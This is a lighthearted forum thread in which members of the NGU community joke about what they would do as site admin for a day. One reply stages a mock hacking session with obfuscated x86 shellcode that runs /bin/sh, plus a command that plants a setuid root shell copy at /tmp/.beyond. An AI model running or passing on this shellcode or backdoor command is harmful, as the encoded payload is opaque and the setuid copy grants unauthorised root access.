(adsbygoogle = window.adsbygoogle || []).push({}); So, there's been abit of drama on NGU over the past week and to no suprise everyone has given their 2 cents on the matters. Dont worry, it's not another thread about rep, i promise

Instead, i'm curious to know if you could run NGU for a day, what would you do? From mods to rep, anything to everything on NGU.

No insulting other members! This is intended for fun, not a chance to get youself an infraction!

Go wild!!!!!


I would keep it simple and just do 4 things...

1. Ban Outsider so my day as boss would turn into a permanent position.
2. Masturbate.
3. ?????
4. Profit

1. Get rid of all the inactive users and rep whores
2. Change all the passwords so i can run NGU for longer. :carling:

- Ban Outsider for being lazy.
- Replace some staff.
- The spend all the money in Ngu's PP account a.k.a Outsider's beer found :y:

If i was Admin for the day, i'd probably re-vamp the site with a new look, add some modifications to keep NGU busy with things other than rep, have a good clear out of old threads and perform some odd jobs to make the site run smoother. i'd then spend the money that has been contributed on useful things NGU would benefit from, hire some worthy people to be mods or super mods to help keep the place under control, and of course try and re-vamp the security so that only real members cn come to the site and get rid of pesky bots/spambots.

Then i'd be hailed as the savoir of NGU, get more liked than outsider, have a shrine erected in my name and allow you to worship me as a second NGU god (after outsider)

i'd have sex with lady..... oh wait :carling:

Outsider@ngu-root:~$ sudo apt-get moo
[sudo] password for outsider:
(__)
(oo)
/------\/
/ | ||
* /\---/\
~~ ~~
...."Have you mooed today?"...
Outsider@ngu-root:~$ ./msfconsole/
msf < exploit
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

msf < "All exploits completed"

root@ngu-root:~$ No valid output, all r/w access no existent...
outsider@ngu-ngu:~$ sudo apt-get Nextgenupdate
[sudo] password for outsider:
E: Invalid operation
root@ngu-root:~$ ALL UR BASES R OURS!
exit

Make shiver admin again

Ban and delete every ignorant troll.

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It's worth about $250k... I would sell it.